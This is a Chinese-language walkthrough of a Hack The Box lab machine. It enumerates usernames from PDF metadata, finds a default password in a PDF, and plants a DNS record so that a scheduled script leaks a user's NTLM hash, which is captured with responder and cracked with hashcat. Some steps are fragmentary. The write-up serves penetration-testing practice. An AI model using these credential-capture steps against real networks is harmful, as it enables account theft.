有開80 port，所以上網頁看看:
可用feroxbuster來爆破網頁隱藏目錄，但那是無用功。

看起來就是直接把本名當帳號沒錯。接下來的思路，是找到更多的帳號，那麼，是不是可以撈到更多的pdf，來取得更多帳號呢? pdf的命名規則很固定，所以要
寫個程式來產生檔名
測網站上是不是真的有這些pdf
首先是產生檔名的程式:

end_date = datetime.date(2020, 12, 31)
# Open the file in write mode
with open("pdf_dates_list.txt", "w") as file:
# Iterate over each day in 2020
current_date = start_date
while current_date <= end_date:
# Format the date as YYYY-MM-DD-upload.pdf
formatted_date = current_date.strftime("%Y-%m-%d") + "-upload.pdf"
# Write the formatted date to the file
file.write(formatted_date + "\n")
# Move to the next day
current_date += datetime.timedelta(days=1)
print("Output has been saved to pdf_dates_list.txt")

下載回來後，就是要撈出這些pdf的creator，來達成帳號枚舉的目的。這裡把所有pdf的meta data一口氣列出來，並把Creator的部分輸出到creators_tmp.txt這個文件裡
┌──(kali㉿kali)-[~/HTB/Intelligence/pdfs]
└─$ exiftool -a *.pdf | grep Creator > creators_tmp.txt
由於creators_tmp.txt裡面只需要名稱，所以要用awk處理一下:
┌──(kali㉿kali)-[~/HTB/Intelligence/pdfs]
└─$ exiftool -a *.pdf | grep Creator > creators_tmp.txt
┌──(kali㉿kali)-[~/HTB/Intelligence/pdfs]
└─$ cat creators_tmp.txt | awk -F ":" '{print $2}' > users.txt
┌──(kali㉿kali)-[~/HTB/Intelligence/pdfs]
└─$ mv users.txt /home/kali/HTB/Intelligence
┌──(kali㉿kali)-[~/HTB/Intelligence/pdfs]
└─$ cd ..
┌──(kali㉿kali)-[~/HTB/Intelligence]
└─$ ls
ldap_user pdfs users.txt
裡面可能有些重複的帳號，需要處理一下。利用linux原生的指令，就可以得到文件大小、文件內容排序、刪除重複行的動作:
┌──(kali㉿kali)-[~/HTB/Intelligence]
└─$ wc users.txt
84 84 1260 users.txt
┌──(kali㉿kali)-[~/HTB/Intelligence]
└─$ mv users.txt users_tmp.txt
┌──(kali㉿kali)-[~/HTB/Intelligence]
└─$ sort users_tmp.txt| uniq > users.txt
┌──(kali㉿kali)-[~/HTB/Intelligence]
└─$ wc users.txt
30 30 456 users.txt
只有帳號可以執行kerberoasting或AS-REP roasting等等攻擊，但是都沒用。只好再更深入調查這些pdf，具體而言，是要查這些pdf有沒有敏感詞，比如說'user', 'password', 'account', 'login', 'service', 'new'等等。
要找敏感詞，可以把所有pdf都轉成txt，再利用linux指令找。linux有將pdf轉成txt的程式pdftotext，需要先安裝別的東西:
sudo apt install poppler-utils
之後在剛剛下載pdf的目錄下，下以下指令把全部pdf都轉成txt:
for file in *.pdf; do pdftotext -layout "$file"; done
接下來要用指令，搜尋pdfs這個資料夾裡面是否有敏感詞password:
┌──(kali㉿kali)-[~/HTB/Intelligence/pdfs]
└─$ cd ..
┌──(kali㉿kali)-[~/HTB/Intelligence]
└─$ grep -R -i "password" pdfs
pdfs/2020-06-04-upload.txt:Please login using your username and the default password of:
pdfs/2020-06-04-upload.txt:After logging in please change your password as soon as possible.
2020-06-04內容如下

每五分鐘，它會檢查以“web”開頭的域intelligence.htb的任何DNS記錄，並使用Ted的憑據為每個找到的域發送HTTP請求。(使用-UseDefaultCredentials選項)如果服務器沒有返回200 OK狀態碼，則會向Ted發送一封郵件。
我們要做的是使用dnstool.py添加一個不存在的假VHOST到zone。這樣就會觸發腳本向Ted發送郵件。

該腳本會向我們發送電子郵件，因此我們使用responder來進行嗅探並捕獲Ted用戶的密碼Hash值(注意要有-A參數，不然會出錯)。因為腳本每五分鐘檢查一次，所以要等等:

* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-10400 CPU @ 2.90GHz, 2919/5903 MB (1024 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:

* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
